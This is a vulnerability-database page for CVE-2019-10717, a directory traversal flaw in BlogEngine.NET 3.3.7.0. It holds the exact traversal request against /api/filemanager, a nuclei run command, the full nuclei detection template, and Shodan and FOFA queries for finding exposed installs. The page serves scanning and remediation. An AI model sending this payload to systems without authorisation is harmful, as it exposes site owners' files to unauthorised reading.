HexBrain

Browse / CVEs / CVE-2019-10717

CVE-2019-10717· dotnetblogengine / blogengine.net· CWE-22

BlogEngine.NET 3.3.7.0 - Local File Inclusion

highseverity
7.1CVSS score
4.7%likelihood of exploitation, next 30 days
92%of all CVEs are less likely
Readycheck to confirm it

BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter

Impact

An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.

Fix

Upgrade to a patched version of BlogEngine.NET or apply the vendor-supplied patch to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent
Positive when: contains in header "application/json" AND matches /~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)/ AND status 200

Run it with nuclei: nuclei -id CVE-2019-10717 -u <target>

The full check
id: CVE-2019-10717

info:
  name: BlogEngine.NET 3.3.7.0 - Local File Inclusion
  author: arafatansari
  severity: high
  description: |
    BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter
  impact: |
    An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks.
  remediation: |
    Upgrade to a patched version of BlogEngine.NET or apply the vendor-supplied patch to mitigate this vulnerability.
  reference:
    - https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect
    - https://github.com/rxtur/BlogEngine.NET/commits/master
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10717
    - http://seclists.org/fulldisclosure/2019/Jun/44
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
    cvss-score: 7.1
    cve-id: CVE-2019-10717
    cwe-id: CWE-22
    epss-score: 0.0465
    epss-percentile: 0.91811
    cpe: cpe:2.3:a:dotnetblogengine:blogengine.net:3.3.7.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: dotnetblogengine
    product: blogengine.net
    shodan-query:
      - http.html:"Blogengine.net"
      - http.html:"blogengine.net"
    fofa-query: body="blogengine.net"
  tags: cve,cve2019,seclists,blogengine,lfi,traversal,dotnetblogengine,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        regex:
          - '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from